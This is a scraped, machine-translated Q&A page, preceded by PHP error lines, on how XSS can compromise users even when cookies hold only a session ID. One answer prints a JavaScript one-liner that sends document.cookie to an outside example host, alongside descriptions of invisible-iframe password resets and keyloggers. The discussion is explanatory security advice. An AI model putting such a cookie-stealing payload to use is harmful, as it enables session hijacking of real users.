Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/security/4.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Security 即使cookie没有';不存储用户凭据?_Security_Authentication_Cookies_Authorization_Xss - Fatal编程技术网

Security 即使cookie没有';不存储用户凭据?

Security 即使cookie没有';不存储用户凭据?,security,authentication,cookies,authorization,xss,Security,Authentication,Cookies,Authorization,Xss,每当有人谈论xss的危险时,他们都会提到“坏人”可以访问用户凭据。但是,如果我只在cookie上存储会话id,并根据会话id对用户进行身份验证,那么还有其他方法可以使用xss访问用户凭据吗?是的 XSS表示页面上正在运行外来或恶意脚本。这可能有很多危险的方法 劫持 即使cookie不存储用户凭据(而且不应该存储)。它为服务器存储足够的信息来考虑cookie的承载是特定的用户(HTTP是无状态的,因此我们使用cookies /会话来记住用户)。p> 因此,如果有人窃取了会话ID,他们可以用它来模拟

每当有人谈论xss的危险时,他们都会提到“坏人”可以访问用户凭据。但是,如果我只在cookie上存储会话id,并根据会话id对用户进行身份验证,那么还有其他方法可以使用xss访问用户凭据吗?

是的

XSS表示页面上正在运行外来或恶意脚本。这可能有很多危险的方法

劫持 即使cookie不存储用户凭据(而且不应该存储)。它为服务器存储足够的信息来考虑cookie的承载是特定的用户(HTTP是无状态的,因此我们使用cookies /会话来记住用户)。p> 因此,如果有人窃取了会话ID,他们可以用它来模拟您,服务器可能也不知道

用IP保护 在最初的问题中,您询问了另一个安全级别:验证绑定到会话的IP地址。是的,这切断了进攻的道路。是的,IP地址可以伪造。但对于攻击者来说,你不再是挂在最下面的果子了。同时,安全性和便利性是对立的,因此您的合法用户可能会感到沮丧,因为当他们的IP地址更改时,他们不再登录

其他攻击 窃取cookie/会话是获得访问权限的一种简单方法,但不是唯一的方法

因为脚本(假定)是从受信任的站点和用户的浏览器运行的。这可能与很多事情有关:

  • 加载帐户编辑页面的不可见iframe,并重置用户的密码/电子邮件
  • 加载键盘记录器,向用户显示登录页面

我最近参加了一次谈话,其中描述了欺骗密码管理员填写密码表单的方法,前提是攻击者可以使用XSS修改受害者站点上的页面。这是攻击者可以访问用户凭据的一种方式。

除非会话ID cookie标记为,否则仍可以使用劫持会话

e、 g

new Image().src=http://www.example.com/?cookie=“+escape(document.cookie);
将会话ID发送到攻击者域(
www.example.com
),攻击者可以在该域中将自己的cookie设置为相同的会话ID并窃取会话


即使没有cookie风险,由于攻击者可以向页面中注入任何他们喜欢的内容,他们也可以更改任何页面内容或在浏览器会话中进行安装。

基于IP地址进行身份验证可能不是一个好主意。人们的IP地址可以改变,IP可以被欺骗。我指的是会话id和IP地址,而不是一个或另一个。我已经把它移走了,以免引起混淆。